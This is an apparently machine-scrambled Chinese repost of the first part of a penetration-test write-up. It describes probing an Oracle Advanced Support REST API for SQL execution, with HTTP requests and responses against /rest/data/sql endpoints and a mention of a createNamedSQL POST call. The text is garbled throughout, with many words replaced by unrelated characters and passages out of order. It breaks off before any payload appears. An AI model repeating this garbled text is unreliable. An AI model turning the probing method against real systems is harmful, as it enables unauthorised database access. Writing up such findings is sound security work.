一年多前我在客户的一个外部情况中履行渗入渗出测试,任何外部情况渗入渗出测试的重要步调之一就是发掘出可拜访的WEB办事。nmap和EveWitness的结合会令这步调变得更快,因为我们可以进行端口扫描 并且把这些结不雅以屏幕截图的情势导入到 EyeWitness中。当梳理完 EyeWitness供给的屏幕截图页面后,我发清楚明了一个Oracle 高等支撑办事。
- {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}
我们发清楚明了以下的属性:name, sql, dataSourceJNDI, privileges, and paramList,个中 sql属性是我最感兴趣的因为它包含了具有字符串值的SQL语句。我们把name的值放进先前测验测验的GET请求中。
- HTTP Request:
- GET /rest/data/sql/sample HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 400 Bad Request
- Content-Type: application/json
- Content-Length: 44
- Connection: close
- Bad Request.Param value not defined for time
Hey!我们获得一些返回!然则我们少了一个参数,让我们加进来。
这切实其实给了我们不少的信息,让我们细心分析一下,我们获得了一组json对象,看一下数组中的第一个对象:
固然没有大年夜办事器获得任何返回,然则也没有返回任何缺点!难道是例子中的SQL语句被履行了,只是没有回显?我们可以持续测验测验其他的大年夜先前请求中获得的names,然则我们看一下原始的javascript。我们发明有一个叫做createNamedSQL的函数,它是一个POST的请求。我们知道来至于getNamedSqlList 的请求的返回值包含了sql语句的值。也许是这个post请求会许可我们在办事器上 履行sql萌芽。我们试一下!
- HTTP Request:
- GET /rest/data/sql/sample?time=1 HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 2
- Connection: close
SQL Execution
这就是createNamedSQL中在包体琅绫擎包含一个空json对象的POST请求:
推荐阅读
跟着科技的进步,大年夜数据大年夜科学前沿逐渐深刻到各行业。2017年中国的大年夜数据行业有什么新动态?大年夜数据行颐魅整体市场范围若何?大年夜数据行业前景若何?若何助力企业成长?今日的比格数据,我们来一路解读>>>详细阅读
本文标题:Oracle Advanced Support系统SQL注入漏洞挖掘经验分享
地址:http://www.17bianji.com/lsqh/37236.html
1/2 1

网友点评
精彩导读
科技快报
品牌展示